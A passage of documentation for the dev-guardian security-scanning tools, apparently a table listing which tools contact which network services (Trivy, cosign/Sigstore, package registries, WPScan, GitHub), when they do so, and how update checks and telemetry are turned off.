when the .NET SDK is installed: for scan_sast, whenever a root .csproj / .fsproj / .sln / .slnx is present; for deps_audit and deps_update_plan, for every .sln / .csproj they find. A restore and a build execute the project's own MSBuild targets. |
Docker registry (semgrep/semgrep image) |
scan_sast, map_attack_surface |
only when Semgrep is not installed and Docker is |
| Trivy's vulnerability database and misconfiguration checks bundle | scan_deps, deps_audit, scan_containers, scan_iac, review_pr, scan_wordpress, security_scan_full and audit_executive (through them — even with local_only: true), init_project's status report |
when Trivy needs them and its local cache is stale; scan_containers may also pull the image it is given |
The image's registry, and Sigstore's public-good trust root (tuf-repo-cdn.sigstore.dev) — Rekor (rekor.sigstore.dev) only for a signature that carries no inclusion proof |
scan_containers given an image, which runs cosign ★: cosign triangulate (to pin the digest), then cosign download signature and cosign download attestation without a signer, cosign verify with signer_identity + signer_issuer (Sigstore's trust root is fetched for verify only) — all of one image's calls within one deadline, GUARDIAN_SCAN_TIMEOUT_MS |
per call, when cosign is installed; GUARDIAN_OFFLINE=1 starts no cosign at all (cosign is then skipped and in missing_tools). cosign reads registry credentials from the Docker config, like Trivy, and keeps its trust root under ~/.sigstore. It never signs, attests or pushes anything. The downloads that decide an absence run with cosign's -d request log, which is parsed, never stored or forwarded (go-containerregistry already writes Authorization: <redacted>; URL query strings — a CDN's signed URL — are cut from every reason, finding and log line): what is attached is the referrers index the registry itself generated, read from that log (never cosign tree, which prints a pusher's annotation as it finds it), and whether each referrer was served is the registry's own status for its manifest and bundle. Two registry faults cosign itself does not report. (1) A referrer whose manifest or bundle blob the registry fails to serve (a 5xx, a 429, a refusal, a transport error) is skipped in silence; dev-guardian reports it as unknown, never as unsigned or rejected — so too a referrer the log never shows fetched, and a log cut at its size cap. A bundle answered 200 whose body then breaks mid-transfer reads exactly like one that does not parse: an existence check downloads once more and, still without it, reports unknown; a verification, after its own re-run, rejects — and says the bundle was listed and served but cosign could not use it, not a bundle it can parse or a transfer that failed mid-body, to re-run if the registry was unstable. On a registry with no referrers API, the sha256-<hex> fallback tag that stands in for the index is written by whoever can push, not by the registry, and cosign is silent about anything there it cannot use: a tag the registry served that holds no index cosign reads, or an entry of it cosign never fetched, is nothing attached (it is read as go-containerregistry reads it, so what cosign did fetch from it is judged like any referrer); only the registry failing to serve the tag withholds. (2) A referrers API answering with no OCI index at all — an HTML 200, a 400, a 406 — is read by go-containerregistry as "no referrers API", and every signature and attestation attached as a referrer silently disappears — a signed image then reads unsigned (an existence check says absent; a verification reports a high "no signature" finding). No request fails, so neither cosign nor dev-guardian can report it. (An index served with a Content-Type other than exactly the OCI index type, which go-containerregistry ignores the same way, is seen: its body is in the log, and what it lists cosign never fetched is unknown.) |
| Maven Central | Trivy, for a pom.xml (in the tools above, and compliance_check's license scan) |
when it resolves Maven dependencies — even with local_only: true under audit_executive; Trivy's --offline-scan, which dev-guardian does not pass, stops it |
Trivy's version check and anonymous usage telemetry (check.trivy.dev) |
disabled by dev-guardian: every Trivy run gets TRIVY_SKIP_VERSION_CHECK=true and TRIVY_DISABLE_TELEMETRY=true, and a Trivy 0.63.0 or newer also --skip-version-check --disable-telemetry (mcp/src/runners/trivyRun.ts; init_project's status script sets the two variables) |
never. Measured through a refusing proxy on 0.69.3: only both settings together stop the request; each alone does not. Trivy before 0.63.0 has neither the check nor the flags. |
| Package registries, through the package managers | deps_audit and audit_executive, which runs it (npm audit; pip-audit, which installs the requirements into a temporary virtualenv from PyPI, or from the index a requirements file names — named on the run) — even with local_only: true, deps_update_plan (npm outdated, composer outdated, bundle outdated, go list -m -u, cargo outdated), create_fix_pr (installs in its worktree with --ignore-scripts / --no-scripts) |
per call |
| The project's own test command and whatever it fetches | create_fix_pr runs npm test, pytest, cargo test or go test ./... in its worktrees — the project's own code, with an allowlisted environment that carries no token or credential of the server's (see Hardening posture) — (cargo and go download the project's dependencies; npm ci --ignore-scripts runs first when there is a lock file) |
only for a candidate fix, dry runs included |
| nuclei's update check and templates | scan_dast with use_nuclei |
nuclei's own automatic update check and template download are on by default; dev-guardian does not pass -disable-update-check |
Syft's update check (toolbox-data.anchore.io) |
disabled by dev-guardian: every Syft run gets SYFT_CHECK_FOR_APP_UPDATE=false, and -c pointing at an empty file, so a repository's .syft.yaml cannot turn on Syft's network lookups either (mcp/src/runners/syftRun.ts) |
never |
| The GitHub API | scan_iac's zizmor, when a GitHub token (GH_TOKEN) is in the server's environment |
zizmor's online audits; without a token it runs offline |
| WPScan API, and the site itself | wp_vuln_check (through the wpscan CLI) |
per call |
WPScan's database (data.wpscan.org) |
wp_vuln_check runs wpscan --update |
only when WPScan reports its local database missing (scan_aborted: Update required), once per call, then the scan runs again; never with GUARDIAN_OFFLINE=1 (the scan is then failed, naming wpscan --update). An existing database is never refreshed: scans pass --no-update. |
api.wordpress.org |
wp_audit, bulk_audit_wordpress_sites (WP-CLI verify-checksums) |
per call |
| The target you name | perf_check (Lighthouse URL, k6 script) |
per call |
GitHub, through gh and git |
create_github_issues, create_fix_pr with apply: true |
only when asked; dry runs push nothing |
Package managers and install scripts (winget, scoop, choco, apt, brew, pipx, npm, uv, cargo, go; curl and PowerShell's Invoke-WebRequest for pinned GitHub release archives) |
install_toolchain |
only when asked; dry_run prints the commands. Syft, Trivy, gitleaks and cosign are pinned to one release and sha256-checked before they are unpacked (see "Hardening posture") |
The dev-guardian repository (git ls-remote) |
dev-guardian ci-init |
only when the release tag is not in the local checkout |
| Sigstore (Fulcio, Rekor — or GitHub's own Sigstore instance for a private repository) and GitHub's attestations API | the pipeline dev-guardian ci-init github --attest generates, from your CI runner — ci-init itself contacts neither |
on a push, in the generated attest job only: it signs a build-provenance attestation of the two report files with the job's OIDC identity. Only that job holds id-token: write. |
| Whatever a started MCP server contacts | audit_mcp_tools, for each stdio server named in servers |
per call; the server runs until its listing is read, then its process tree is killed |
map_attack_surface itself sends nothing, but the Semgrep it runs does what
the rows above say: metrics when you are logged in (its version check is off). The
hooks' SessionStart and secret-warning branches, detect_stack,
audit_agent_config, observability_setup, the status and dashboard CLI
commands and the history readers (diff_scans, set_baseline,
suppress_finding, regression_alert, triage_findings, health_status,
the resources) make no network request.